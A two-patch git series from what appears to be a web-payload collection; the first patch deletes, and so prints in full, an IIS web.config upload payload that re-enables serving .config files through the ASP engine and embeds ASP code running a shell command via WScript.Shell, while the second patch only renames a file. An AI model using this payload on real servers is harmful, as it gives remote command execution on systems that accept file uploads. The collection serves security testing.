From a09254623017d435f107700407a4bb4768fcdba1 Mon Sep 17 00:00:00 2001
From: Alvin Smith <alvinsmith.nz@gmail.com>
Date: Mon, 9 Aug 2021 22:47:57 +1200
Subject: [PATCH 1/2] Delete web.config as it's not working

---
 .../Configuration IIS web.config/web.config   | 34 -------------------
 1 file changed, 34 deletions(-)
 delete mode 100644 Upload Insecure Files/Configuration IIS web.config/web.config

diff --git a/Upload Insecure Files/Configuration IIS web.config/web.config b/Upload Insecure Files/Configuration IIS web.config/web.config
deleted file mode 100644
index c14f37e..0000000
--- a/Upload Insecure Files/Configuration IIS web.config/web.config	
+++ /dev/null
@@ -1,34 +0,0 @@
-<?xml version="1.0″ encoding="UTF-8″?>
-<configuration>
-   <system.webServer>
-      <handlers accessPolicy="Read, Script, Write">
-         <add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />
-      </handlers>
-      <security>
-         <requestFiltering>
-            <fileExtensions>
-               <remove fileExtension=".config" />
-            </fileExtensions>
-            <hiddenSegments>
-               <remove segment="web.config" />
-            </hiddenSegments>
-         </requestFiltering>
-      </security>
-   </system.webServer>
-   <appSettings>
-</appSettings>
-</configuration>
-<!–
-<% Response.write("-"&"->")
-Response.write("</p>
-<pre>")</p>
-<p>Set wShell1 = CreateObject("WScript.Shell")
-Set cmd1 = wShell1.Exec("whoami")
-output1 = cmd1.StdOut.Readall()
-set cmd1 = nothing: Set wShell1 = nothing</p>
-<p>Response.write(output1)
-Response.write("</pre>
-<p><!-"&"-") %>
-–>
-
-<!-- web.config payload from https://poc-server.com/blog/2018/05/22/rce-by-uploading-a-web-config/ -->
\ No newline at end of file

From 31a1cdc86f2cc4b1456ffba025d69504b1efee5f Mon Sep 17 00:00:00 2001
From: Alvin Smith <alvinsmith.nz@gmail.com>
Date: Mon, 9 Aug 2021 22:48:10 +1200
Subject: [PATCH 2/2] Rename web.web.config to web.config

---
 .../Configuration IIS web.config/{web.web.config => web.config}   | 0
 1 file changed, 0 insertions(+), 0 deletions(-)
 rename Upload Insecure Files/Configuration IIS web.config/{web.web.config => web.config} (100%)

diff --git a/Upload Insecure Files/Configuration IIS web.config/web.web.config b/Upload Insecure Files/Configuration IIS web.config/web.config
similarity index 100%
rename from Upload Insecure Files/Configuration IIS web.config/web.web.config
rename to Upload Insecure Files/Configuration IIS web.config/web.config